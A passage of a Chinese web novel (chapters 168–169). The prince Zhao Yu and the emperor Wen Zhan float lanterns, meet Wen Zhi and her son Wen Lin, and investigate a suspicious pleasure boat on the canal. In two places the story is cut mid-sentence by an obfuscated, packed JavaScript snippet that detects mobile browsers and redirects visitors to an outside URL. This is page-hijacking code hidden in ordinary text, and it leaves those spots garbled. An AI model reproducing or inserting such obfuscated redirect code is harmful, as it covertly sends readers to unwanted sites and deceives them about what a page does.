赵毓,“其实那并不是真正的苦,真正的苦日子在几年后,他奶奶没了,他爹也没了,他娘为了养活他吃了很多苦。他再长大了一些,就把那些欺负他娘的都剁了命根子,他自己就被发配到西北为军奴。他现在日子好过了,可惜,他娘却也看不见了。” “文湛,我是觉得,北境之地、山海关外,像薛家这样的农人千千万。他们守了自己的本分,种田纳粮不含糊,苦死冤死咬牙扛,破王法也服了刑。他们该做、能做的,就做到这一步。其余的,不该他们扛。” 168. 168 168 “哥哥。”良久,文湛忽然开口,“在你看来,北境应该顾及到的,除了万千生民,还有什么?” “兵士。”赵毓说,“都说千军易得,一将难求……,可事实上,千军并不易得。困在北境的西北军残部,那是十年西北血战、生死场上真刀真枪拼杀出来的铁军!大郑兵士多为农人出身,并不善骑射,可这些兵士全部可以在西北与那些天生马背上长大的游牧民族战士死战不输。如果折在关外,即使十年生聚十年教训,也再难得这样一支人马。” 文湛看着窗外,异常沉静。 其实,他一直都是异常沉静的人,很多时候,外人看他,都似金石雕化,不似活人。 “陛下。”赵毓,“可曾想过,……,有些东西,就在那里,是战争、帝王的权谋,还有权力的搏杀也无法泯灭的?” “那是什么?”文湛开口了,声音极轻,似有似无,如烟岚过群峰,溪流沉山涧。 只是,这一次赵毓并没有回答,他只是看着他,轻轻笑了一下,就转头看着窗外,顺着文湛的眼神,——夕阳已经坠了。 夜幕一落,雨水也落了。 华灯一上,似乎给朱仙镇的夜晚蒙了层迷离的生宣,上面泼了说不清道不明的丹青。 朱仙镇有水,有河道。七年前,崔珩在这里挖土,将运河挖通,又叉出一些枝杈,本来封闭的水系与大运河交汇,因这融会贯通、四面八达的水脉,才成就了如今朱仙镇发达的商贸,和夜晚璀璨的明灯蜡火。 水面上有浮灯,顺水而下。 “我们也许个愿吧。”横桥上,文湛忽然开口。 一直看着远处熬糖人的赵毓一听,有些警觉,“呃……,也不是不成。”可是看着飘荡过来的莲花灯上写的不是‘夫妻恩爱’,就是‘夫婿封侯’,着实有些那个啥,他抓了抓脑袋,“你想写啥?” “自然是,海清河晏、国泰民安。”文湛看着他。 赵毓,“呃……” 文湛反问,“不然,哥哥想写什么?” 赵毓又抓了抓脑袋,“这两句话,老二每到年根底下就念,车轱辘一般来回转,咱们还凑这个热闹吗?” 文湛,“既然哥哥觉得无聊,那就我写,——悔教夫婿觅封侯。” 赵毓,“呃……” 文湛,“哥哥将我丢在雍京多年,自己建功立业去了,还不能让我抱怨一下?” 一听这话,赵毓立刻回,“陛下,我觉得您说的‘海清河晏、国泰民安’这两句挺好的,非常好!社稷民心千钧之重,我们要牢牢记得,铭心刻骨。我这就去买花灯,写字去!” 文湛矜贵点了点头,“哥哥说的极是。” 水边有个亭子,一群妇人手札莲灯,赵毓凑过去买了一盏。 亭子的石头长条桌旁还坐着位妇人,满头银发,正操笔墨帮旁人写祝词,她看见赵毓,直接把笔递出,“后生像是认识字,自己写。” 赵毓接过笔,又要了砚台,到了谢。见他斯文腼腆的样子,周围几声轻笑。赵毓连忙又说了客气话,周围笑声更浓了。他赶紧拎着莲灯连忙出亭子,在河边的青石栏杆旁边找到文湛。 他看了看赵毓身后,“哥哥,她们笑什么?” “许是高兴吧。”赵毓,“我也不太清楚。喏,你要的灯和笔。这两句,是你写,还是我写?” “第一次和哥哥写莲灯。”文湛,“我写上句,哥哥写下句。我们两人写的祝词,才算圆满和美。” 赵毓就是笑,左看像只餍足的猫,右看像弥勒。 等他们两人把莲灯写好,赵毓回亭子还毛笔砚台的时候,周围又笑,他这才注意到他们写的“海清河晏、国泰民安”在一大堆闺愿当中,显得格格不入。 银发老妇收回笔和砚台,“后生走错地方了。许你们男人那些宏图大愿,得过了桥,在水那边。方才给你笔,还以为你要写一些儿女情长。没想到,还是男人那些建功立业。” 赵毓,“老夫人又怎知,这不是我的儿女情长?” “哪家儿女情长求国运?”不知道那位说的,周围又是笑。 赵毓只能,再一次抓了抓脑袋。 老妇,“既然这是儿女情长,那后生不再放一盏灯,求个功名?” 赵毓,“有啥好求的?” 他忽然想起来文湛对燕王说过他,——承怡此一生功业皆属大郑社稷。 于是又加了一句,“我这个人,此一生功名早成定数,求不得,避不开。” 他们临走,银发老妇还打趣赵毓,“你们真有趣,在求姻缘的地方求功名,可是当真让你们求功名的时候,你们又不去了。既这样,你们到前面柳树下放灯,那里人少,离对岸近一些,对面的灯也能陆续飘过来,到时候姻缘功名混在一起,也没个所谓了。” 果然,听人劝吃饱饭。柳树下人少。赵毓双手合什,当真认认真真默念了几遍祝词,这才看着文湛蹲下|身子,将莲灯放入河面。灯中插一根蜡。烛火隔着绘着莲花的草纸被风吹的忽左忽右,忽明忽暗,像极一条舞动的魂魄。 此时水面涌起一层浪,文湛袖口被打湿。 是大船行使,荡起的水波。 乌云遮挡的月下,水面深处,有一艘画舫,隐约有乐声传来。 赵毓忽然说,“我好像要发一句诗性。如此良辰美景,咱们又在儿女情长,应该背句诗助兴。” 文湛从水面上来,甩了一下袖子,“人主处匡床之上,听丝竹之声,而天下治。” 赵毓,“呃……” 文湛,“怎么?” 赵毓,“此时把《商君书》中的词句挪出来,不婉约,不缠绵,不太应景。你看啊,你我二人不是陛下与微臣,而是正在儿女情长的一对儿……” 文湛低头一笑。 “你笑什么?”赵毓,“我们应该找一句婉约的诗句,来搭配我们此时的心境,我觉得应该是……” “哥哥。”文湛却说,“《商君书》为大郑第一禁书,禁令千年不朽,却是东宫必读之物。当年讲读太傅已死,此世间唯你我二人曾同窗共读此书,哥哥当真觉得它不够阐述此时的良辰美景吗?” “呃……” 赵毓的脑袋终于成了浆糊,“足够。” 文湛又是一笑,“哥哥说的是。” “只是,……”赵毓耳朵忽然一动,“筚篥。” “什么?”文湛有些不明白。 “那是筚篥。”赵毓的声音似乎是梦呓,“画舫。” “以羊角或牛角制成,从敦煌一路向西,沿着丝路,整个西疆舞乐都有筚篥,尤其是,……” “高昌。” 云开了。 月光照下,一艘画舫划破水面,慢慢驶来。 河道两岸涌出的莲灯簇拥着。 雕梁画栋。 ——“赵叔,赵叔!”赵毓忽然听见有人叫他。只是这个声音虽然颇为耳熟,却怎么也想不起来到底是谁。还是文湛不凉不热来了一句,“是温岭。” “谁?”赵毓还是没记性。 文湛,“奉命抄雍南公学的那位。” 哦!~~~~~赵毓这才想起来,这温岭是顺天府有名的大闲人,雍京城有名的‘败家子’。他外祖父温十行是当年东宫殿前督将军,父亲是外祖的入赘女婿,而母亲温家娘子当年差点嫁给崔珩。温十行去世的时候文湛亲自御笔写了恩旨,就供奉在温家宗祠。还有,上次他奉命抄公学的时候还把赵毓和文湛堵在卧房里,并且非常有眼力见把赵毓称为‘叔’,文湛是‘婶’。 这位怎么算,都算是‘自己人’。 赵毓连忙沿着河岸找人,果然看到温岭,和他身后妇人。那妇人大约三十多岁的样子,一身鸦青袍衫笼着马面裙,上等湖州丝绸,绣着缠枝莲花纹,领口夹子是黄金包玉,其余扣子均是红色琉璃玛瑙,显得清雅奢华,却不刻意引人注目。 “温家姐姐!”——温十行的闺女,温摯。 这一说,得回首故人二十三年前。 那年赵毓才十三,还是毛头小子。温家娘子尚待字闺中,赵毓她娘还只是先帝的美人,她颇为中意温摯,想要撮合她和崔珩。 那时崔氏实在单薄:祖上是农人,姑娘在帝王后宫也不过是个八品美人;儿郎倒是官大一级,是个七品知县;崔珩是知县的儿子,虽然从小在毓正宫读书,却没有功名;整个崔家唯一能拿得出手的就是官面上崔氏为先帝生的长子承怡,还是庶出。 当年,先帝嫡长子文湛正位东宫,储君名分早定,承怡这样一个外戚寒门出身的庶子,似乎也没什么前途可言。 可,温家到也不是绝对不愿意结这门亲家,他们相中了崔珩。 于是,崔美人在宫中设了桃花茶会,请了温摯。姑娘也来喝了茶,吃了桃花酥,崔珩也见到了,聊的还算投机,好事却没成。 后来赵毓大约估量了一下,估计那个时候,温家娘子让崔珩给忽悠了。老崔游说温摯,大约就是嫁人去别家怎么也不比在娘家招赘过的舒服,后来他又张罗着给老温找了个愿意入赘的、人品还算过得去的女婿,于是他同温家娘子这档子事儿,也就不了了之了。 温摯见赵毓,万分欣喜,只是不像他这样外露,“我听温岭总说公学的赵先生,没想到就是您,大殿……” 赵毓知道她用旧时的称呼“大殿下”,连忙截住,“温家姐姐,是我,老赵。” 温摯一直在雍京,自然明白这些年的过往,“这些年苦了你了。不过,模样没变,跟没出雍京一个样子,不老。” 赵毓笑着温和,“姐姐芳华依旧,我就不成了。” 此时温岭一直看着赵毓身后沉默着的文湛,扯了他娘的袖子,“娘,这就是我跟你说的,……”就算再二百五,此时他也知道当面叫人家‘婶儿’不合适,于是含糊了一下,“赵叔家的,那个。” 温摯久在雍京,出身贵胄,对于秘戏自是内谙门道,再加上她深知当年承怡在先帝凤化朝宠冠诸王,先帝对他极骄纵,他那些靠谱不靠谱的往事,她也是知晓一二的。 如今赵毓大难已过,吟风弄月本也不是什么要命的事儿,他自是放纵一些,温挚也明白,又对他的爱宠有些爱屋及乌的善意,于是对着赵毓身后之人开口也是笑意满满,“这位公子,您……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729026|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陡然湮灭的声音,似乎被割了喉。 她看见的,是文湛。 “娘,您怎么了?”温岭慌忙,“是不是方才吃的花雕鸡没有把碎骨头挑出来,卡脖子了?” 温挚,“……?!” 赵毓凑近她耳边悄声说,“温姐姐,是这么回事儿。上回在雍南公学被您家那小子堵住了(就堵在卧房门口了),微服(不是帝王游民间的微服,就是仅穿了里衣),还有其它事情要做(就是那个啥),不能明说,就只能任由您家这小子胡猜(其实猜的也是八|九不离十)。” 温挚,“……” 赵毓,“我小时候挺不靠谱的,现在回来了,也靠谱了一些,可是如今雍京地面上什么传闻都扯上我两下子,大多是假的。” 温挚本|能点点头。 赵毓,“温家姐姐是知道我这个人的。” 本来温挚想要听听赵毓继续说,至少要听听他这个人怎么样,没想到他停了,并且一双眼睛很有诚意地看着她,似乎很期盼她能回应,并且肯定,于是,她就只能又点点头。 赵毓又用极低的声音耳语,“主上并不怪罪。” 温挚这次用力点头。 赵毓则叹气,看了看温岭又叹口气,才道,“姐姐当年如果嫁给我表哥,生的小子兴许还能机灵点儿。” 温岭,“……?” “不过。”赵毓又说,“人生有得失,老崔那是头牲口,姐姐要是当年真嫁给他,未必就有如今日与温家姐夫这样和和美美的日子过。” 世道过于凌乱。这次温挚看着他,没说话就是嘴角下压,这已经是贵妇人最外露的撇嘴了。随后,她归整了一下自己的衣衫,冲着北边恭敬施了礼。这是老贵胄家族的传统,即使人不在微音殿,言谈话语提及陛下都要正面对着北方恭敬全个礼数。 温岭自然知道母亲作为意义,他只是觉得奇怪,用力回想了一下,似乎方才的话语并没有提及今上,不但没有提及,反而自己还被赵毓阴阳了一番。他正想问问是怎么回事,却听见赵毓问,“姐姐和大外甥到这朱仙镇做什么来了?” 温挚,“温岭是公差,我来看看生意。” 赵毓也是一愣,“生意?” 温挚,“沿河有温氏的买卖。” 赵毓这又看了看周围,眼见着河面上的画舫越来越近,他随口应付了一句,“可还好做?” 温挚,“糊口没问题,和元承行不能比。不过,赵先生怎么出猎场了?” “猎场?”温岭诧异,“南苑猎场!这几日是王族围猎的日子,等闲根本无法靠近,我在朱仙镇出公差就是为了猎场周围的守备。赵叔,您怎么能进猎场?” 此时,温挚似乎方才明白赵毓说的‘如果当年嫁给崔珩,生的小子兴许能机灵点’的意思,越发觉得外面传闻赵毓养小白脸不靠谱,因为自己儿子曾经亲眼所见赵毓和他的爱宠,当真是谬之千里。 于是,她长长叹口气,“温岭,你说,曾见过赵先生与黄内相交好。” 温岭,“是。我之前以为赵叔也是太监。” “……” “诶。”温挚,“赵先生与内宦交好,不是因为他也是内宦,而是因为他是王族。” 温岭,“……?!” 温挚,“黄内相曾经是他的伴当,赵毓就是祈王承怡。” 闻言,温岭被惊吓到想要张大嘴巴,却发现自己的下巴早被赵毓伸手托住。 赵毓则说,“姐姐既然问了,我就实话实话。我是随扈陛下的大臣。” 温挚恍然,“原来如此。” 赵毓心照不宣点了点头,知道温挚已经接受自己与文湛在一起是随扈,而之前听她家小子说的‘叔、婶’就是不靠谱的瞎猜,已经揭篇了,说,“这里就在猎场后山外,自然要来仔细看看。周围一切安好,我陪着……在河边溜达,忽然就有些不对劲儿。方才,我听见那艘画舫上有人吹筚篥。” 这种乐器之前从西疆经由敦煌、云中传入雍京,在高昌公主阿伊拉和亲大郑时也曾风靡京师。只是先帝下旨征伐西疆,高昌灭国之后,筚篥在雍京就没落了。尤其是最近十几年,筚篥一落再落,几乎成为禁物。如今它在朱仙镇被奏响,的确有些蹊跷。 温挚,“这艘画舫,赵先生如果不表明身份,你上不去。可如果表明身份,你查不到。” 赵毓,“我方才也有这些顾虑。” 温挚,“我在朱仙镇认识一些人,我来想办法。” 温岭见赵毓和那个小白脸,并着他娘要走,他也跟上,“我也去。” 赵毓,“你去做什么?危险。” 温岭,“别拿我们顺天府小吏不当干粮,有些事情,有些场合,我可比赵叔这样的废弃亲王管用。” 赵毓,“……” 温岭,“您看我做什么呀?今天阴阳我几回了,我就回句嘴也不成吗?” “成倒是成,就是……”赵毓呲牙,又咗了咗牙花子,“我呢,不是废弃亲王,我是被废黜了的亲王。当年先帝亲自下的旨意,捧着那个扣大印朱砂盘子的,还是你外祖呢!” 温岭,“……” 169. 169 169 温挚忽然想起来一件事,“大殿下,如果是那个人,今天的事不会善了。不如让温岭上报,并且移交顺天府……”说着,稍微冲着文湛那边扭了一下身子,“您看如何?” 她这句话,既像对着赵毓说,又像对着文湛说。 温岭不得要领。 “那个人?”赵毓还愣了一下,转念想明白,才说,“哦,姐姐说的可是高昌王?” 当年祈王府进的人究竟是何等身份,后面又发生了许多事,温十行负责调查,温挚自然知晓。只是,她没有想到,赵毓竟然如此直白说出来高昌王,并且似乎一点也不避讳陛下。 为何她得知的秘闻,却是三日前在微音殿,就是因为高昌王的事,兰芝社挑拨,主上暴怒? 不过…… 如今看,此时,主上并没发怒,依旧很平静,只是面皮平静的有些发青。 “不是他。”赵毓说,“他不吹筚篥。” 温挚,“这么说,高昌王不擅舞乐?” “不,他很擅长。”赵毓,“他的乐器是他母亲殷氏夫人亲自教的,只是,他母亲是大郑汉女,擅长笛。” 温岭,“对于高昌王,赵叔倒是知道的挺清楚。” “哦。”赵毓说,“我们曾经睡过觉。” 温岭,“……” 温挚,“……” 文湛,“……” 温岭看了母亲和那个小白脸各异的表情,又看了看赵毓。似乎只有赵毓的表情很安然又澄净,他立刻想了想自己,又想到自己称呼人家‘叔婶’的诡异眼神,于是难得聪明一回,立马明白了,“赵叔又诓我。我知道我眼睛被猪肉蒙了,认错了您和这位,呃……” 他虽然明白这个小白脸应该不是赵毓的那个啥,却依旧还是不知道应该如何称呼文湛,于是他就略过去,又说,“赵叔熟悉高昌王,应该是您当年在雍京做祈王的时总摄军权,对高昌有所提防,这才派斥候将军细细查探,得来的外人不可窥探之秘。哈哈,这回我猜得没错吧!” “诶……”他母亲温挚摇头,其余没有任何话语,从他身边走过去。 赵毓拍了拍他的肩膀,“大外甥猜测的不能说十分精确,却也……” 温岭连忙说,“大致没错,是不是?” 赵毓,“却也丝毫不沾边。” 温岭,“……?” 小白脸从身后走过来。 温岭看着文湛,忽然问,“我是不是曾经见过您?” 面对温岭,文湛一直话语很贵,几乎没有张过嘴,但是不知为什么,温岭总是觉得这个人似乎一直嫌弃他。 闻听此话,赵毓有些意外,“你倒是当真见过他,但是,你不应该记得啊!” 温岭,“为什么?” 赵毓,“我们两个到你家喝你的满月酒,你奶妈抱着你,喂的白白胖胖的,我还给你打了一个金锁。要是那个时候你就记事儿了,不应该有今天这憨厚劲儿。” 温岭,“……” “不是。”温岭扯住赵毓的袖子,“赵叔去我家做什么?” “你没方才没听啊?”赵毓就着这个姿势,跟着前面的温挚向画舫那边走,“你娘当年和我大表哥相过亲,要不是我大表哥没这个福分,如今你就是我亲侄子了。” “赵叔的大表哥?哦~~~~”温岭又明白了,“宁淮侯崔珩!我说呢!我明白了!” 温挚回头,“你又明白什么了?”听到他说自己明白了,他娘颇为警惕。 温岭说,“我一直觉得赵叔身边这位有些眼熟,其实在公学见他第一眼,我就觉得亲切。” 三人听着到这话,都有些温和的表情,似春天一般,暖暖的。 于是,温岭说,“想来这位叔……”他指着文湛,“应该是宁淮侯的部下吧。” 应为宁淮侯麾下,方才能与赵毓熟稔。况且崔珩在军中享有盛誉!任何一个人,如果是侯爷的嫡系,那是家族几辈人的荣光! 只是这话放在文湛身上,就…… 于是,温挚头也不回,径自向画舫走过去。她暂时不太想理睬温岭,仿佛这个儿子不是她亲生的,而是西北风刮来的。 画舫渐渐靠岸,有贵客要上船。 屠明珠隔着珠帘向岸上看了看,很意外,她居然看到了赵毓! 他跟在一位贵妇人旁边,而他身后则是那曾经在朱七姐宅子中露过面却身份成谜的小白脸。 屠明珠不知怎么想的,本|能向帘后躲了一下,随即,她自己却怔住了。赵毓与人为善,不为难人,于自己甚至还有恩,可不知为什么,面对这个男人,她却有些怵。似乎自己那些隐藏在心底最深处的、她以为永不为人知道的心思与秘密,在此人面前,毫无遮挡,一览无余。 “大先生这么目不转睛,盯啥子呀?”同来的倌人屠翠翘见她如此,就问了一句。 “没啥子。”她说。 屠翠翘,“可是老相好?” 屠明珠看着在水一方的赵毓,摇摇头,“不是。” 见她如此,屠翠翘颇为好奇,她用手中的湘妃竹扇挑起来帘幕的一端,隔着水,看着外面。画舫这边和岸边已经搭好木板,那边有人上船。 “的确不是阿姐的老相好。”屠翠翘如春葱尖儿般的手指,捏住扇子柄,挑动帘幕把玩,此时动作像极了在风月场中摆弄那些火山孝子,“模样倒是真好,只是那身衣服的料子并不上等,想必有些家底,但要供阿姐的吃穿用度,就捉襟见肘了。” 屠明珠看她,忽然问了一声,“五妹妹,你看那位身后的男人,你觉得他是做什么的?” 屠翠翘顺着赵毓看他身后,不知道是岸边火把太烈,还是画舫引路的琉璃灯太耀,她仿佛直视正午的日,光华异常,甚至眼睛被刺了一下,疼。 “阿姐,我不知。” “不过,我知道那位夫人是谁。” 屠明珠,“谁?” 屠翠翘,“雍京北城的温家。” 不知怎么了,屠明珠没听明白,“哪个温家?” 屠翠翘娇笑了一声,“雍京地面上,还有哪个温家的夫人可以当家做主、抛头露面?自然是靖渊公温栾的堂姐,温挚夫人。” 靖渊公温家是老贵胄,祖上曾经跟随宪宗皇帝平定山河,得了世袭罔替的公卿爵位,传至儿孙已经三百余年。这位温氏的夫人是上一代公爷亲弟的独生女儿,并未出嫁,而是招赘娇婿,也是雍京城一段佳话。 屠明珠,“你怎么识得她?” 屠翠翘,“阿姐可还记得,上个月我出局,就在永嘉会馆,席间座上客就有这位温夫人的夫婿。斯文的很,也规矩的很,只吃了两盏老酒就要走,而这位夫人呢,可是坐在会馆的花厅吃茶等人呢!” 画舫的东家是漕帮,今天是尤七当家宴客,写请客票叫了屠明珠和她家五先生的局。 此时尤七爷亲自过来这里,说明了有贵客,再问屠明珠,“可否请五先生过去陪着客人说会儿话?” 屠明珠笑着应对,“自然是好的呀。”她想着那是赵毓一行人,也需过去亲自招呼一下,就说,“我陪五妹妹过去。” 雍京风月场,谁不知道大先生的名头? 前些年,屠明珠嫁人了,江南蒋家,众人以为从此大先生绝迹江湖,谁也没想到,没过两年,她又回到雍京。有传闻她是蒋家的逃妾,可是蒋家又没告官下海捕公文追拿,似乎这段姻缘就这么好聚好散了。 屠明珠之前的公爹蒋复与丈夫蒋衍均是姑苏名士,没出仕,却是兰芝社一言九鼎的人物。蒋氏规矩繁重又是豪富,根本没有出妻出妾的先例,入他们家门的妇人想要离开,只能是棺材或者破席,从没听说有妇人脱离蒋氏还喘着气,真是奇也怪哉。 这江湖深渊密布,风高浪急,各种不为人知的隐秘,大先生既能如此自在,蒋氏并无为难,那自然就是大先生的手段。 只是,…… 能让屠明珠应对的客人不是王公贵戚,就是富商巨贾,她知道赵毓身份复杂,因而不清楚此时的赵毓是亮明了在雍京的身份,还是另有隐情? 所以,她一出现在赵毓面前,并未显示出熟稔的样子。 果然,赵毓一看见她,当真是意外。 尤七爷老江湖,此时问了一句,“这位少爷,可见过大先生?” 赵毓人长得年少,面目斯文又有些奇异的腼腆,身上的布料倒是不错,但也不是顶尖的好,想必是吃穿用度不愁,手中却不如何的阔绰,真像是大户人家的少爷被老爷关在阁楼上读书。 因而,老江湖的尤七,也看走了眼。 “自然没有。”温挚应声,“我家兄弟也是第一次被我带出来,喝喝茶。” 不知水的深浅,温挚一概否认。 尤七爷明白,他们这些贵人明面上规矩大,出来喝花酒不好说也不好听。当然,哪家没有老爷少爷们出来叫倌人捧戏子?阔绰的到书寓,姑娘们个个似大家闺秀;那些不太阔绰的,二等堂子去,甚至天桥听曲也去。之前有人当街争花娘,有人娶男旦,闹出来不少笑柄,如今都老实了,都察院当真办差,哪家出丑,罢官夺爵绝不含糊。 想到这里,尤七爷说,“既然少爷第一次出来,那请五先生陪着您说说话?” 屠明珠艳帜高张,人却半老了,当年是瑶台阆苑,曾经也是瑰丽馥郁,经过岁月与风雨,如今却是断壁颓垣,即使难掩盎然,也已经半凋零半残破了。 这些话没人说,说了显得不是人,但人人都这么想,尤其是花了大价钱的老饕,早就餍足于丰腴的血肉,当然想要一些清爽甜美的娇物,甚至是,诡诈的野味儿。 尤七爷以己度人,想着赵毓也是这样,所以就推荐了屠翠翘,说完话则看着他,想着有什么反应,可是却不小心瞄到了他身后的男人。 这人是…… 饶是他自诩久历江湖,阅人无数,此时也不得要领。 姐儿们看他,看到是如同光华宝珠般的俊,可是漕河上讨了半辈子生活的老江湖,看他,看到的却是锋芒与恐怖。那是仰止也无法望其项背的高山,翻手为云覆手为雨的神祇,生杀予夺的利器,却隐在鞘中。 方才温夫人如何介绍他来着? ——“我家的兄弟。” 难不成,他就是温氏的公爷? 不对,如果温氏有如此人物,靖渊公府不至沉寂若此。 他是谁? 尤七爷满脑子的不得要领,赵毓则看着屠明珠,“大先生不忙吧。”完全没有理会一旁更年轻,也更娇艳的屠翠翘。 屠明珠,“自然是不忙的。” 没有娇俏,没有惯常哄人的燕语莺声,也没有惯常应酬的话,诸如‘忙也要不忙了,什么都比不了您’,他们之间就像是普通朋友见面一般。 赵毓,“那请大先生喝口茶。” 屠明珠是红极一时的倌人,不仅仅因为她美,更重要的是,她极聪慧。她能从客人喜怒不形于色的面皮上看到隐藏在下面的情绪,也能听到客人话语之中的未尽之音。 此时,她知道赵毓应该有一些事情,于是说,“自然是好的。不过,少爷,……”她没有用惯用对待赵毓的称呼,而是顺着尤七爷,叫了少爷,转而继续,“这是我五妹妹。”她不能将屠翠翘晾在这里,“也让她一同过来?”语气却是温和地问。 赵毓迟疑了一下,还没说话,屠明珠就接上,“这是我家的女,自然是贴心的。” 她的人,她担保,不会出事。 赵毓点头。 “七姐出了事,……”一行人进到一个阁楼中,窗框子也是雕梁画栋,还熏着香。屠明珠把自己最近的事简单和赵毓说了说,“我就挑起来她的院子。” 十几年前苏北发水,她被家人卖了换棺材,小半生在情涛孽海中混沌,当年以为自己上了岸,谁想却深陷另外一层修罗道。如今挣扎出来,也不过是走上了朱七姐当年的老路,唯一聊以宽慰自己的是,再无卖身契捏在他人手中。 赵毓点点头,“朱七姐的事,官府给啥说法了吗?” “没有。”屠明珠,“死尸呀,我们那里再加上沦落下处,一年抬出去那么多条,能入土就是福分,其它的,也没人在意。” 她们这一行,没有岸,无法回头,终其一生沉浮漂泊。 最后,死到哪里,就葬到哪里。 屠翠翘也是上等的倌人,她识人极精准,此时谁也不沾,围着桌面伺候好茶水就坐在屠明珠身后,似生丝做的栀子不凋花,万艳千娇,却收敛了生气。 赵毓既没有介绍文湛和温岭,也没说同温挚的关系,他开门见山,直截了当,“这次真的要请大先生帮个忙。” 屠明珠知道他,要是有麻烦,他也会善后,于是点头,“赵老爷您说。” 赵毓,“大先生出的这趟局,可有不妥的地方?” “没有。不过……”屠明珠仔细想了想,才说,“我和五妹在莲花飘处的渡口上的画舫,本来预计在前面木桥那边就下了。尤七叫的局也只是让五妹弹两曲琵琶,并非伺候全场酒宴。” 赵毓,“方才,我在水岸边听见有乐声,那是什么乐器?” 屠明珠方才与人说法,没注意,她看了看身后,此时,屠翠翘说,“那时我吩咐阿宝将琵琶收起来,的确听见乐声,只是生疏,无法分辨是何种乐器,大概属丝竹。” 赵毓,“这画舫上可还有其他姑娘?” “不知道。”屠明珠想了想,“我们没见到。” 赵毓,“这艘画舫得有四层木楼,高朋满座,眼看着一群人吃喝,也许晚上还要度夜,却只请了两位短暂弹弹琵琶,……” 大船顺着水流慢下来,木桥码头到了。 温岭方才听屠明珠说这两个地方,就想开口问问,又见赵毓一直在说话,就憋着来着,现在眼看着快到码头了,他怕再不开口就没机会了,赶紧就,“这位大……” 这位是大……,大什么来着? 他对于风月场所这些花样百出实在不得要领。当年他跟着他爹本来想着救风尘,结果却被仙人跳,被人讹了不少银子不说,回去他们爷俩都被他娘暴揍了一顿。从那之后,他爹再应酬,他娘有空都跟着;他就不成了,他现在是公门中人,他娘说了,再折腾,当真打断他的腿。 温岭他这一开口,五人十双眼睛齐刷刷盯着他看,尤其是他娘,他吞了吞口水,才说,“大大大……大姐,我就想问一句……” 众人,“……” 倒是屠明珠,轻笑了一声,“少爷,您说。” 温岭,“您说方才和您这位妹子是在莲花飘出的渡口上得船,那当时您上船的时候,这画舫从哪儿来?” 屠明珠,“少爷问的,可是画舫来的方向,是南,还是北?” “对!”温岭,“当时这艘船,是从北面雍京方向过来的,还是南面朱仙镇的方向,在前面莲花渡口打个回转?” 屠明珠,“北面,雍京方向。” 温岭,“赵叔,这船有问题,有大问题。” 赵毓也没听太明白,“怎么说?” “是这样……” 温岭,“咱们游的这条河贯通南北,只是前几天下雨,过了朱仙镇这段还没到雍京,有一段山泥下来了,堵了一半的河道。顺天府、直隶还有河道,三个衙门口正在清淤,又碰上南苑围猎,绝对不能堵,那段河道限了通过船只的大小。这艘画舫大得跟妖兽似的,绝对通过不了。所以啊,这船绝无可能从雍京那边过来。” 赵毓,“我不清楚河道的事。” 温岭,“淤泥拥堵的地方距离南苑倒是不近,而且也不在猎场守备范围内,赵叔没听说也是自然。我出公差,就是干这个来的,本来是打算等明儿天一亮就过去看看清淤的进度。要说这问题出在哪儿……” 赵毓,“你有话直说,别跟说评书似的。不知道的还以为你跟着老黄在天桥底下卖过大力丸呢!” 温岭惊诧,“黄叔还卖过大力丸呢?” 他娘温挚咳嗽一声,他立马老实了,说,“画舫绝对不能从北边过来,那么它就只能从朱仙镇起航。这位姐姐和她妹子上船的那个莲花渡口,按理说,应该是咱这朱仙镇过去的最后一个码头,如果这船没问题,姐姐看到的应该是画舫从南边过去,然后在莲花渡口那边宽阔水域打个回转。” 赵毓,“莲花渡口再向北,到哪儿?” “哪儿也不到。”温岭,“可是,再向北有个分叉,那条汊河,通南苑猎场。” 此时,门外有人过来,说码头到了,请屠明珠和屠翠翘下船。 “赵叔。”温岭等外面人走了,悄声问,“我们这是暴露了吗?” “不一定。”赵毓透过雕花的窗子看着外面,大船逐渐靠岸,有船工将巨大的锚抛入河水中,沿河亮起火烛花灯,画舫中客人们也都准备好,依次上岸,“这里应该本就是画舫停靠客人上岸的地方。” 温岭不明白,“啊?他们似乎费了很多力气,难道不应该做些什么?” “他们肯定做了什么,只是……”这次说话的人是文湛。 “只是……”赵毓接着说,“当真有图谋的人,绝对不会在脑袋顶上挂个牌子,用大篆写着——让开,我要搞事儿——的几个大字,招摇过市。” 温岭,“……” 赵毓,“越是招摇的地方,反而越是无事。走!” 温岭,“做什么?” 他见赵毓和文湛说着就站起来,此时,他娘温挚也站起来,连同那两位‘先生’。 “下船!”赵毓说。 赵毓他们就像寻常的客人的一样,没有任何不同,他临下船的时候甚至还同尤七告了别,一副江湖再见就是兄弟的模样,随后则是跟着屠明珠,送她们上岸,并且到了马车那边。 “赵老爷,方才说话多有不便。”屠明珠没上马车,而是对着赵毓轻声来了一句,“这是我小妹翠翘。” 经过方才在画舫上一段,又见屠明珠当真说了这句话,屠翠翘此时方确定,原来阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729027|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐想要为自己引荐的大主顾,是眼前这位‘赵老爷’。于是她用自己经年累月练就的笑,微微施礼,清香甜美,像一朵晨曦带露水的栀子。 因为只有赵毓跟到了马车边,温岭不远不近看着这情形,些微向后倾斜了身子,问了一句,“我赵叔,一向都这么风流吗?” 